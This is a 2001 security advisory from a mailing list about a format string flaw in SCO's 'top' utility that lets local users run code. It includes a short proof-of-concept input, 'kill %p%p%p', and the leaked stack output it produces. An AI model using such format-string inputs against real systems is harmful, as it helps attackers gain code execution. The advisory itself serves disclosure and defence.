[UNIX] SCO 'top' Utility Vulnerable to a Format String Vulnerability

From: support@securiteam.com
Date: 11/20/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] SCO 'top' Utility Vulnerable to a Format String Vulnerability
Message-Id: <20011120201536.2FE79138BF@mail.der-keiler.de>
Date: Tue, 20 Nov 2001 21:15:36 +0100 (CET)

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  SCO 'top' Utility Vulnerable to a Format String Vulnerability
------------------------------------------------------------------------

SUMMARY

The SCO 'top' utility contains a security vulnerability that allows local
attackers to cause it to execute arbitrary code.

DETAILS

Vulnerable systems:
top version 3.5beta5

The 'top' utility suffers from a security vulnerability due to incorrect
parsing of format strings. This allows local attackers to execute code on
the machine.

Example:
Type k for kill while in top.
last pid: 1926; load averages: 0.00, 0.02, 0.00 10:22:44
111 processes: 110 sleeping, 1 onproc
CPU states: % idle, % user, % system, % wait, % sxbrk
Memory: 384M phys, 357M max, 272M free, 352M locked, 190M unlocked, 125M
swap
kill %p%p%p

last pid: 1930; load averages: 0.00, 0.02, 0.00 10:23:23
111 processes: 110 sleeping, 1 onproc
CPU states: % idle, % user, % system, % wait, % sxbrk
Memory: 384M phys, 357M max, 272M free, 352M locked, 190M unlocked, 125M
swap
 8005b3608059e1008047ce024: Not a number

ADDITIONAL INFORMATION

The information has been provided by <mailto:dotslash@snosoft.com> KF.

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